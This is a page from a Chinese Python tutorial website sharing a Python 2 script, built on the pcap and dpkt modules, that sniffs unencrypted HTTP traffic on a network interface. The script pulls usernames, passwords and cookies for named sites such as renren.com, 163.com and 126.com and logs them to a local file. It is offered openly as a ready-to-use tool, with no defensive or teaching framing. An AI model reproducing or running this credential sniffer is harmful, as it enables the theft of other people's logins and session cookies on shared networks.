玩蛇网提供最新Python编程技术信息以及Python资源下载!
您现在的位置: 玩蛇网首页 > Python源码实例_Python程序源代码_网站项目下载 > 正文内容

Python获取web密码程序的脚本源代码

Python入门佳作 经典教程的全新修订 10个项目引人入胜
玩蛇网推荐图文教程:python黑客多线程扫描器

利用Python代码获取web密码程序的脚本源代码分享,达到能够抓取用户名、密码、cookie等信息的方法详解。需要用到 pcap、dpkt两个方法模块,请确认已经安装成功。

python做的web获取解密码程序代码如下:

# -*- coding: utf8 -*-

#!/usr/bin/env python

import pcap
import dpkt

dev='eth0'
filter='tcp dst port 80'
pc=pcap.pcap(dev) #注,参数可为网卡名,如eth0
pc.setfilter(filter)    #设置监听过滤器
hostlist=['xiaonei.com', 'renren.com', '163.com', '126.com', 'cublog.cn', 'itlong.com']
file=open('passwd.txt','w')

for ptime,pdata in pc:    
#ptime为收到时间,pdata为收到数据
    ether=dpkt.ethernet.Ethernet(pdata)
    ip=ether.data
    tcp=ip.data
    content_len=len(tcp)-8
    host=''
    username=''
    password=''
    cookie=''
    geturl=''
    posturl=''
    username_pattern=''
    password_pattern=''

    #Only Process POST Packet

#if tcp.data.find('POST')==-1 or tcp.data.find('GET')==-1:
#www.iplaypython.com
#continue
#Get Host

    host_start=tcp.data.find('Host: ')
    if host_start != -1:
        host_end=tcp.data.find('\r\n', host_start)
        if host_end != -1:
            host=tcp.data[host_start:host_end]
            #print host
        else:
            continue
    else:
        continue
    #Check host in hostlist

    for _host in hostlist:
        if host.find(_host)==-1:
            continue
        else:
            print _host
    #Get GET URL

    geturl_start=tcp.data.find('GET ')

    if geturl_start!=-1:
        geturl_end=tcp.data.find('\r\n', geturl_start)
        if geturl_end!=-1:
            geturl=tcp.data[geturl_start:geturl_end]
            #print geturl
    #Pass picture

    if geturl.find('gif')!=-1 or geturl.find('png')!=-1 or geturl.find('jpg')!=-1:
        continue;
    #Get POST URL

    posturl_start=tcp.data.find('POST ')

    if posturl_start!=-1:
        posturl_end=tcp.data.find('\r\n', posturl_start)
        if posturl_end!=-1:
            posturl=tcp.data[posturl_start:posturl_end]
            #print posturl

    #Get Cookie

    cookie_start=tcp.data.find('Cookie: ')

    if cookie_start!=-1:
        cookie_end=tcp.data.find('\r\n', cookie_start)
        if cookie_end != -1:
            cookie=tcp.data[cookie_start:cookie_end]
            #print cookie

    #Compute username_pattern

    if host.find('xiaonei.com')!=-1 or host.find('renren.com')!=-1:
        username_pattern='email='
    elif host.find('lilacbbs.com')!=-1:
        username_pattern='userid='
    elif host.find('sso.itlong.com')!=-1:
        username_pattern='login_name='
    else:
        username_pattern='username='

    #Find UserName

    username_start=tcp.data.find(username_pattern)

    if username_start!=-1:
        username_end=tcp.data.find('&', username_start)
        if username_end!=-1:
            username=tcp.data[username_start:username_end]
            #print username
        else:
            continue

        #Find Password

        password_start=tcp.data.find('password=')
        if password_start!=-1:
            password_end=tcp.data.find('&', password_start)
            if password_end!=-1:
                password=tcp.data[password_start:password_end]
                #print password
        else:
            continue

#Log to file

    if host and posturl and username and password:
        file.write('-----------------------\n')
        file.write(host+'\n')
        file.write(posturl+'\n')
        file.write(username+'\n')
        file.write(password+'\n')
        file.flush()
    elif host and geturl and cookie:
        file.write('-----------------------\n')
        file.write(host+'\n')
        file.write(geturl+'\n')
        file.write(cookie+'\n')
        file.flush()

玩蛇网文章,转载请注明出处和来源网址:http://www.iplaypython.com/code/c2652.html



微信公众号搜索"玩蛇网Python之家"加关注,每日最新的Python资讯、图文视频教程可以让你一手全掌握。强烈推荐关注!

微信扫描下图可直接关注

玩蛇网PythonQQ群,欢迎加入: ① 240764603 玩蛇网Python新手群
出炉日期:2015-12-24 15:17 玩蛇网 www.iplaypython.com

我要分享到:
评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)

必知PYTHON教程 Must Know PYTHON Tutorials

必知PYTHON模块 Must Know PYTHON Modules